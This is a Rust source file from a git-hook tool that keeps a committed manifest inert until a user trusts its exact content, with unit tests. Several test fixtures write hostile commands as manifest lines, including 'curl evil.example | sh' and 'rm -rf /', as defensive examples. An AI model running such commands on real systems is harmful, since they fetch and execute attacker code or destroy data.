amont_runtime/trust.rs
1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44///
45/// MULTI-VALUED, and that is the whole point. `--local` config is shared by every
46/// worktree of a repository, so a single value meant worktrees fought over it:
47/// trusting one checkout made every other checkout on a different branch report
48/// `TRUSTED ONCE, AND CHANGED SINCE`, and its declared checks stop running until
49/// somebody re-trusts — which then breaks the first one. With one worktree per
50/// task, as `git worktree` workflows have, the record never settles.
51///
52/// A set fixes it without moving the record anywhere, because trust here has
53/// always been keyed on CONTENT rather than on place: the question is "have these
54/// exact bytes been reviewed", and the answer does not depend on which checkout is
55/// asking. Two worktrees with the same amont.conf need one acceptance between
56/// them; two with different manifests hold one entry each.
57///
58/// The cost, stated plainly: reverting a manifest to bytes accepted earlier no
59/// longer asks again, where a single-valued record would have. That is the
60/// definition working as written — those bytes WERE reviewed — but it is a
61/// weaker guarantee than before, and [`KEEP`] bounds how far back it reaches.
62///
63/// `--worktree` config was the other candidate. It needs
64/// `extensions.worktreeConfig=true` on the repository, which is amont writing a
65/// repo-wide git setting other tools also read, to fix a problem of its own.
66pub const KEY: &str = "amont.trusted";
67
68/// Content id of `path`, as git would compute it.
69///
70/// `--no-filters`, because consent is bound to CONTENT and the content that
71/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
72/// filter and eol conversion configured by the repository's own committed
73/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
74/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
75/// and two manifests we would parse differently can hash identically. The
76/// binding was to content-after-a-repo-controlled-transform.
77pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
78 crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
79}
80
81/// The same identity, for bytes already in hand.
82///
83/// `--stdin` is never filtered, so this names exactly the buffer given to it.
84/// Used where the caller has read the file and is about to act on THAT read:
85/// hashing the path again would be a second read, and the two can differ.
86pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
87 crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
88}
89
90/// What the repository has recorded, if anything.
91pub fn recorded(repo: &Path) -> Vec<String> {
92 crate::git::stdout_in(repo, &["config", "--local", "--get-all", KEY])
93 .map(|out| {
94 out.lines()
95 .map(str::trim)
96 .filter(|l| !l.is_empty())
97 .map(str::to_string)
98 .collect()
99 })
100 .unwrap_or_default()
101}
102
103#[derive(Debug, Clone, Copy, PartialEq, Eq)]
104pub enum State {
105 /// No manifest. The overwhelmingly common case, and it must cost nothing.
106 NoManifest,
107 /// Trusted, and the file still has the bytes that were trusted.
108 Trusted,
109 /// Never trusted here.
110 Untrusted,
111 /// Trusted once, and edited since. Distinct from `Untrusted` because the
112 /// message should say which happened — "somebody changed it" is a different
113 /// thing to tell a reader than "you have not looked at this yet".
114 Changed,
115}
116
117/// Decide whether `repo`'s manifest may run.
118pub fn state(repo: &Path) -> State {
119 let manifest = repo.join(crate::manifest::MANIFEST);
120 if !manifest.is_file() {
121 return State::NoManifest;
122 }
123 let Some(current) = fingerprint(repo, &manifest) else {
124 // Cannot compute it, so cannot claim it matches.
125 return State::Untrusted;
126 };
127 verdict(repo, ¤t)
128}
129
130/// The same decision, about bytes the caller already holds.
131///
132/// For anyone who has read the manifest and is about to act on THAT read.
133/// Re-opening the file to decide whether the first read may run is two reads of
134/// something that can change in between, and the whole point of the record is
135/// that it names the content being executed.
136pub fn state_of(repo: &Path, source: &[u8]) -> State {
137 let Some(current) = fingerprint_bytes(repo, source) else {
138 return State::Untrusted;
139 };
140 verdict(repo, ¤t)
141}
142
143fn verdict(repo: &Path, current: &str) -> State {
144 let seen = recorded(repo);
145 if seen.iter().any(|s| s == current) {
146 State::Trusted
147 } else if seen.is_empty() {
148 State::Untrusted
149 } else {
150 State::Changed
151 }
152}
153
154/// Record the manifest as it stands now.
155pub fn record(repo: &Path) -> Result<String, String> {
156 let manifest = repo.join(crate::manifest::MANIFEST);
157 let fp = fingerprint(repo, &manifest)
158 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
159 record_verified(repo, &fp)?;
160 Ok(fp)
161}
162
163/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
164///
165/// The gap this closes: `describe()` prints the manifest, then — in
166/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
167/// several seconds, before anything is recorded. A plain re-hash at that
168/// point trusts whatever is on disk THEN, which is not necessarily what was
169/// shown; a file changed in that window would be trusted without ever having
170/// been reviewed, which is the exact thing this module exists to prevent.
171/// Callers fingerprint what they show BEFORE asking, and pass that same
172/// value here — verified again, not merely assumed, once the answer is in.
173pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
174 let manifest = repo.join(crate::manifest::MANIFEST);
175 let now = fingerprint(repo, &manifest)
176 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
177 if now != fp {
178 return Err(format!(
179 "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
180 crate::manifest::MANIFEST
181 ));
182 }
183 // Already accepted — adding it again would grow the list for nothing.
184 if recorded(repo).iter().any(|s| s == fp) {
185 return Ok(());
186 }
187 let ok = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, fp]).is_some();
188 if !ok {
189 return Err(format!("cannot record {KEY} in this repository"));
190 }
191 prune(repo);
192 Ok(())
193}
194
195/// Forget it.
196pub fn revoke(repo: &Path) -> Result<(), String> {
197 // `--unset-all` exits 5 when the key is absent, which is not a failure here.
198 // ALL of them: revoking means this repository trusts nothing, and leaving a
199 // sibling worktree's fingerprint behind would mean `--revoke` did not.
200 let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]);
201 Ok(())
202}
203
204/// How many accepted fingerprints to keep.
205///
206/// One per checkout that is currently on a different branch is the shape this
207/// serves, plus a little history. Unbounded, `.git/config` would grow a line per
208/// edit of the manifest, forever.
209const KEEP: usize = 16;
210
211/// Trim the oldest entries once the list is longer than [`KEEP`].
212///
213/// Best-effort by design: the new value was already added before this runs, so a
214/// failure here leaves a list that is correct and merely longer than intended,
215/// never one that has lost the fingerprint somebody just accepted.
216fn prune(repo: &Path) {
217 let all = recorded(repo);
218 if all.len() <= KEEP {
219 return;
220 }
221 let keep: Vec<String> = all[all.len() - KEEP..].to_vec();
222 if crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]).is_none() {
223 return;
224 }
225 for fp in keep {
226 let _ = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, &fp]);
227 }
228}
229
230/// The reason an external does not run, phrased for the check's own report.
231pub fn why(state: State) -> Option<&'static str> {
232 match state {
233 State::NoManifest | State::Trusted => None,
234 State::Untrusted => {
235 Some("declared in an untrusted amont.conf — review it, then `amont trust`")
236 }
237 State::Changed => {
238 Some("amont.conf changed since it was trusted — review it, then `amont trust`")
239 }
240 }
241}
242
243/// Show what the manifest declares, so the decision is made with it in view.
244///
245/// Printing the lines is the whole point: "trust this file" is not a question
246/// anybody can answer without seeing it, and a prompt that does not show it is
247/// a prompt that trains people to press y.
248pub fn describe(repo: &Path) -> String {
249 describe_source(
250 &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
251 )
252}
253
254/// The same listing, rendered from text the caller already read.
255///
256/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
257/// reads of a file somebody is deciding about can disagree, and the decision
258/// would then be recorded about bytes nobody was shown.
259pub fn describe_source(text: &str) -> String {
260 use std::fmt::Write;
261 let mut out = String::new();
262 let lines = crate::manifest::parse_lines(text);
263 // Policy and tool-pin lines are rendered as their own blocks below —
264 // they are not checks, and running them through the check table printed
265 // them as `! broken`, which told the person consenting that something
266 // was WRONG with the very lines they were being asked to approve.
267 let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
268 for line in checks {
269 let (name, stage, parsed) = line.into_parts();
270 // Every field here is repo-controlled, and this is the text somebody
271 // is about to say yes to. Sanitised BEFORE the padding, so the column
272 // widths are computed on what is actually printed — an escape sequence
273 // is zero columns wide and would silently shift the alignment even if
274 // it did nothing worse. See `ui::sanitize` for what a concealed
275 // declaration bought.
276 let name = crate::ui::sanitize(&name);
277 match parsed {
278 Ok(declared) => {
279 let _ = writeln!(
280 out,
281 " {name:<14} {:<10} {}",
282 stage.as_str(),
283 crate::ui::sanitize(&declared.command())
284 );
285 }
286 Err(why) => {
287 let _ = writeln!(
288 out,
289 " {name:<14} {:<10} ! {}",
290 stage.as_str(),
291 crate::ui::sanitize(&why.to_string())
292 );
293 }
294 }
295 }
296 let pins: Vec<String> = rest
297 .iter()
298 .filter_map(|l| match l {
299 crate::manifest::Line::Tool(pin) => {
300 Some(format!("tool {} {}", pin.program, pin.want))
301 }
302 _ => None,
303 })
304 .collect();
305 let policy: Vec<String> = rest
306 .iter()
307 .filter_map(|l| match l {
308 crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
309 _ => None,
310 })
311 .collect();
312 if !policy.is_empty() {
313 let _ = writeln!(out, " and sets policy for built-in checks:");
314 for p in policy {
315 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
316 }
317 }
318 if !pins.is_empty() {
319 let _ = writeln!(out, " and pins tool versions (verified, warn-only):");
320 for p in pins {
321 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
322 }
323 }
324 out
325}
326
327/// A yes/no on the terminal, or `false` when there is nobody to ask.
328///
329/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
330/// that read stdin would consume something else's input. Same reason
331/// `package-lock` does it, and the third copy of this is where it becomes a
332/// shared function.
333#[cfg(unix)]
334pub fn confirm(prompt: &str) -> bool {
335 use std::io::{BufRead, BufReader, Write};
336 let Ok(tty) = std::fs::File::open("/dev/tty") else {
337 return false;
338 };
339 print!("{prompt}");
340 let _ = std::io::stdout().flush();
341 let mut line = String::new();
342 if BufReader::new(tty).read_line(&mut line).is_err() {
343 return false;
344 }
345 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
346}
347
348/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
349/// something else holds stdin. Before this, Windows always declined —
350/// `amont trust` could never be granted interactively there, so every
351/// declared check spent its life politely disabled for the Windows
352/// minority of a team.
353///
354/// **Gated on stdin actually being a console**, which is the whole
355/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
356/// controlling terminal, so unix gets its "nobody to ask" answer for free;
357/// `CONIN$` opens whenever the process has a console at all — which a CI
358/// runner does — and then blocks forever on a read nobody will answer.
359/// That is not hypothetical: it hung four install tests until the Windows
360/// job timed out, at 20 minutes, the first time this shipped without the
361/// gate. A redirected stdin (git handing a hook a pipe, a test using
362/// `Stdio::null()`, a script piping input) therefore declines, exactly as
363/// before — the prompt is for a human who typed a command, and a human who
364/// typed a command has a console on stdin.
365#[cfg(windows)]
366pub fn confirm(prompt: &str) -> bool {
367 use std::io::{BufRead, BufReader, Write};
368 if !stdin_is_a_console() {
369 return false;
370 }
371 let Ok(con) = std::fs::File::open("CONIN$") else {
372 return false;
373 };
374 print!("{prompt}");
375 let _ = std::io::stdout().flush();
376 let mut line = String::new();
377 if BufReader::new(con).read_line(&mut line).is_err() {
378 return false;
379 }
380 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
381}
382
383/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
384///
385/// `GetConsoleMode` succeeds only for a console handle — the standard way
386/// to ask on Windows, and one kernel32 call, so this stays dependency-free
387/// like the signal handler in `staged_only`.
388#[cfg(windows)]
389fn stdin_is_a_console() -> bool {
390 const STD_INPUT_HANDLE: u32 = -10i32 as u32;
391 #[link(name = "kernel32")]
392 extern "system" {
393 fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
394 fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
395 }
396 let mut mode = 0u32;
397 unsafe {
398 let handle = GetStdHandle(STD_INPUT_HANDLE);
399 if handle.is_null() {
400 return false;
401 }
402 GetConsoleMode(handle, &mut mode) != 0
403 }
404}
405
406/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
407#[cfg(not(any(unix, windows)))]
408pub fn confirm(_prompt: &str) -> bool {
409 false
410}
411
412/// `amont trust [--show|--revoke]`.
413pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
414 // Refuse rather than fall back to ".". Trust is RECORDED per repository,
415 // keyed by the root this resolves to, so a "." root outside a repository
416 // meant `amont trust` in `~` would read `~/amont.conf`, show its
417 // declarations, and record trust for them — against a repository that does
418 // not exist, in a state no later `amont trust --revoke` would find.
419 let root = crate::hooks::common::repo_root_checked()?;
420 let root = Path::new(&root);
421 let flag = |f: &str| args.iter().any(|a| a == f);
422
423 if flag("--revoke") {
424 revoke(root)?;
425 println!("{} amont.conf is no longer trusted here", valid_sign());
426 return Ok(());
427 }
428
429 let state = state(root);
430 if state == State::NoManifest {
431 println!("no {} in this repository", crate::manifest::MANIFEST);
432 return Ok(());
433 }
434
435 if flag("--show") {
436 println!("{}", crate::manifest::MANIFEST);
437 print!("{}", describe(root));
438 println!(
439 " {}",
440 match state {
441 State::Trusted => "trusted here",
442 State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
443 _ => "not trusted here — not running",
444 }
445 );
446 return Ok(());
447 }
448
449 if state == State::Trusted {
450 println!("{} already trusted, unchanged", valid_sign());
451 return Ok(());
452 }
453
454 // One read: the bytes shown are the bytes fingerprinted, and
455 // `record_verified` then confirms they are still the bytes on disk. Read
456 // twice, and the listing somebody approved need not be what got recorded.
457 let manifest = root.join(crate::manifest::MANIFEST);
458 let source =
459 std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
460 let fp = fingerprint_bytes(root, &source)
461 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
462 println!("{} declares:", crate::manifest::MANIFEST);
463 print!("{}", describe_source(&String::from_utf8_lossy(&source)));
464 record_verified(root, &fp)?;
465 println!("{} trusted ({fp})", valid_sign());
466 Ok(())
467}
468
469#[cfg(test)]
470mod tests {
471 use super::*;
472
473 fn repo(name: &str) -> std::path::PathBuf {
474 let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
475 let _ = std::fs::remove_dir_all(&d);
476 std::fs::create_dir_all(&d).unwrap();
477 std::process::Command::new("git")
478 .args(["init", "-q", "--template=", "."])
479 .current_dir(&d)
480 .output()
481 .expect("git");
482 d
483 }
484
485 fn write_manifest(dir: &Path, body: &str) {
486 std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
487 }
488
489 /// Ninety-six repositories have no manifest. That must be free and silent.
490 #[test]
491 fn no_manifest_is_not_a_trust_question() {
492 let d = repo("none");
493 assert_eq!(state(&d), State::NoManifest);
494 assert_eq!(why(State::NoManifest), None);
495 let _ = std::fs::remove_dir_all(&d);
496 }
497
498 #[test]
499 fn a_manifest_starts_untrusted() {
500 let d = repo("new");
501 write_manifest(&d, "pre-commit a * block echo hi\n");
502 assert_eq!(state(&d), State::Untrusted);
503 let _ = std::fs::remove_dir_all(&d);
504 }
505
506 #[test]
507 fn recording_makes_it_trusted() {
508 let d = repo("record");
509 write_manifest(&d, "pre-commit a * block echo hi\n");
510 record(&d).expect("record");
511 assert_eq!(state(&d), State::Trusted);
512 let _ = std::fs::remove_dir_all(&d);
513 }
514
515 /// The property the whole design turns on: consent is to CONTENT, so a
516 /// `git pull` that adds a command cannot inherit it.
517 #[test]
518 fn editing_the_manifest_revokes_trust() {
519 let d = repo("edit");
520 write_manifest(&d, "pre-commit a * block echo hi\n");
521 record(&d).expect("record");
522 assert_eq!(state(&d), State::Trusted);
523
524 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
525 assert_eq!(
526 state(&d),
527 State::Changed,
528 "a manifest edited after trusting must not still be trusted"
529 );
530 // And it says which happened, because "you have not looked at this" is
531 // a different sentence to "somebody changed it".
532 assert!(why(State::Changed).expect("reason").contains("changed"));
533 let _ = std::fs::remove_dir_all(&d);
534 }
535
536 /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
537 /// fingerprints what it showed, waits on a keypress, then must not trust
538 /// whatever is on disk by the time the answer comes back if that is not
539 /// what was actually shown.
540 #[test]
541 fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
542 let d = repo("changed-mid-confirm");
543 write_manifest(&d, "pre-commit a * block echo hi\n");
544 let manifest = d.join(crate::manifest::MANIFEST);
545 let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
546
547 // The file is rewritten in the window a real confirm() would have
548 // been blocking on a keypress.
549 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
550
551 let err = record_verified(&d, &shown_fp).expect_err("must refuse");
552 assert!(err.contains("changed"), "{err}");
553 assert_eq!(
554 state(&d),
555 State::Untrusted,
556 "the rewritten content must not end up trusted"
557 );
558 let _ = std::fs::remove_dir_all(&d);
559 }
560
561 /// The ordinary path still works: nothing changed, so the fingerprint
562 /// shown is the fingerprint recorded.
563 #[test]
564 fn record_verified_accepts_a_manifest_that_did_not_change() {
565 let d = repo("unchanged");
566 write_manifest(&d, "pre-commit a * block echo hi\n");
567 let manifest = d.join(crate::manifest::MANIFEST);
568 let fp = fingerprint(&d, &manifest).expect("fingerprint");
569 record_verified(&d, &fp).expect("record");
570 assert_eq!(state(&d), State::Trusted);
571 let _ = std::fs::remove_dir_all(&d);
572 }
573
574 #[test]
575 fn revoking_returns_it_to_untrusted() {
576 let d = repo("revoke");
577 write_manifest(&d, "pre-commit a * block echo hi\n");
578 record(&d).expect("record");
579 revoke(&d).expect("revoke");
580 assert_eq!(state(&d), State::Untrusted);
581 // Twice is not an error: `git config --unset` exits 5 on a missing key.
582 revoke(&d).expect("revoke again");
583 let _ = std::fs::remove_dir_all(&d);
584 }
585
586 /// The bug this file was changed for.
587 ///
588 /// `--local` config is shared by every worktree, so with a single value the
589 /// two checkouts below take turns invalidating each other and neither ever
590 /// settles. Both manifests were reviewed; both must stay accepted.
591 #[test]
592 fn two_worktrees_with_different_manifests_do_not_evict_each_other() {
593 let d = repo("worktrees");
594 let a = "pre-commit a * block echo a\n";
595 let b = "pre-commit b * block echo b\n";
596
597 write_manifest(&d, a);
598 record(&d).expect("accept a");
599 assert_eq!(state(&d), State::Trusted);
600
601 // the sibling worktree, on another branch, accepts its own manifest
602 write_manifest(&d, b);
603 record(&d).expect("accept b");
604 assert_eq!(state(&d), State::Trusted);
605
606 // and the first one is STILL trusted — this is what used to say Changed
607 write_manifest(&d, a);
608 assert_eq!(
609 state(&d),
610 State::Trusted,
611 "accepting a second manifest evicted the first"
612 );
613 let _ = std::fs::remove_dir_all(&d);
614 }
615
616 /// A manifest nobody ever accepted is still Changed, not Trusted: the set
617 /// must not turn into "anything goes once you have trusted one thing".
618 #[test]
619 fn an_unseen_manifest_is_still_changed() {
620 let d = repo("unseen");
621 write_manifest(&d, "pre-commit a * block echo a\n");
622 record(&d).expect("record");
623 write_manifest(&d, "pre-commit evil * block curl example.com\n");
624 assert_eq!(state(&d), State::Changed);
625 let _ = std::fs::remove_dir_all(&d);
626 }
627
628 /// Revoke means this repository trusts nothing — not "all but the sibling's".
629 #[test]
630 fn revoke_clears_every_accepted_fingerprint() {
631 let d = repo("revoke-all");
632 write_manifest(&d, "pre-commit a * block echo a\n");
633 record(&d).expect("a");
634 write_manifest(&d, "pre-commit b * block echo b\n");
635 record(&d).expect("b");
636 revoke(&d).expect("revoke");
637 assert!(recorded(&d).is_empty(), "revoke left a fingerprint behind");
638 assert_eq!(state(&d), State::Untrusted);
639 write_manifest(&d, "pre-commit a * block echo a\n");
640 assert_eq!(state(&d), State::Untrusted);
641 let _ = std::fs::remove_dir_all(&d);
642 }
643
644 /// Accepting the same bytes twice must not grow the list.
645 #[test]
646 fn re_accepting_the_same_manifest_is_idempotent() {
647 let d = repo("idempotent");
648 write_manifest(&d, "pre-commit a * block echo a\n");
649 record(&d).expect("once");
650 record(&d).expect("twice");
651 assert_eq!(recorded(&d).len(), 1);
652 let _ = std::fs::remove_dir_all(&d);
653 }
654
655 /// The list is bounded, or `.git/config` grows a line per manifest edit
656 /// forever.
657 #[test]
658 fn the_accepted_list_is_capped() {
659 let d = repo("capped");
660 for i in 0..KEEP + 5 {
661 write_manifest(&d, &format!("pre-commit a{i} * block echo {i}\n"));
662 record(&d).expect("record");
663 }
664 assert_eq!(recorded(&d).len(), KEEP);
665 // the most recent survives, the oldest does not
666 assert_eq!(state(&d), State::Trusted);
667 write_manifest(&d, "pre-commit a0 * block echo 0\n");
668 assert_eq!(state(&d), State::Changed);
669 let _ = std::fs::remove_dir_all(&d);
670 }
671
672 /// Reproducible by hand, which is the point of using git's own identity.
673 #[test]
674 fn the_fingerprint_is_git_hash_object() {
675 let d = repo("fp");
676 write_manifest(&d, "pre-commit a * block echo hi\n");
677 let manifest = d.join(crate::manifest::MANIFEST);
678 let ours = fingerprint(&d, &manifest).expect("fingerprint");
679 let theirs = String::from_utf8_lossy(
680 &std::process::Command::new("git")
681 .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
682 .current_dir(&d)
683 .output()
684 .expect("git")
685 .stdout,
686 )
687 .trim()
688 .to_string();
689 assert_eq!(ours, theirs);
690 let _ = std::fs::remove_dir_all(&d);
691 }
692 /// A repository must not choose the transform its own consent is taken
693 /// through.
694 ///
695 /// `.gitattributes` is committed, so the repo picks the clean filter; plain
696 /// `git hash-object` applies it. With one that collapses everything to a
697 /// constant, two manifests this parser reads DIFFERENTLY are given the same
698 /// id — so a trusted fingerprint would cover content nobody reviewed.
699 #[test]
700 fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
701 let d = repo("filter");
702 std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
703 .expect("write attributes");
704 let ok = std::process::Command::new("git")
705 .args(["config", "--local", "filter.flatten.clean", "echo same"])
706 .current_dir(&d)
707 .status()
708 .map(|s| s.success())
709 .unwrap_or(false);
710 if !ok {
711 return; // no git to configure; nothing to assert
712 }
713 let manifest = d.join(crate::manifest::MANIFEST);
714
715 write_manifest(&d, "pre-commit a * block echo one\n");
716 let filtered_a = raw_hash(&d, &manifest);
717 let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
718
719 write_manifest(&d, "pre-commit b * block rm -rf /\n");
720 let filtered_b = raw_hash(&d, &manifest);
721 let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
722
723 // The collision has to EXIST before its absence means anything. A
724 // clean filter is an external program run through git's own shell, and
725 // whether `echo` resolves that way is the platform's business, not
726 // ours — Git for Windows does not collapse these. Say so and stop,
727 // rather than report a fixture that would not build as a defect in the
728 // code under test. `an_eol_conversion_cannot_...` below covers the same
729 // property with no external program involved and runs everywhere.
730 if filtered_a != filtered_b {
731 println!(
732 "! clean filters do not apply here — collision not reproducible, \
733 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
734 );
735 return;
736 }
737 assert_ne!(
738 ours_a, ours_b,
739 "the fingerprint followed a repo-controlled filter"
740 );
741 }
742
743 /// The same property, with git's own eol conversion instead of an external
744 /// filter — so it holds on every platform.
745 ///
746 /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
747 /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
748 /// files differing only in line endings hash identically. That is a weaker
749 /// lever than a clean filter (the parser reads both the same way), but it
750 /// is the same mistake: the id names content-after-a-repo-controlled
751 /// transform rather than the bytes we read.
752 #[test]
753 fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
754 let d = repo("eol");
755 std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
756 .expect("write attributes");
757 let manifest = d.join(crate::manifest::MANIFEST);
758
759 // Byte-different, line-ending-identical-after-normalisation.
760 std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
761 let filtered_crlf = raw_hash(&d, &manifest);
762 let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
763
764 std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
765 let filtered_lf = raw_hash(&d, &manifest);
766 let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
767
768 if filtered_crlf != filtered_lf {
769 println!("! eol conversion does not apply here — collision not reproducible");
770 return;
771 }
772 assert_ne!(
773 ours_crlf, ours_lf,
774 "the fingerprint followed a repo-controlled eol conversion"
775 );
776 }
777
778 fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
779 String::from_utf8_lossy(
780 &std::process::Command::new("git")
781 .args(["hash-object", manifest.to_str().unwrap()])
782 .current_dir(dir)
783 .output()
784 .expect("git")
785 .stdout,
786 )
787 .trim()
788 .to_string()
789 }
790}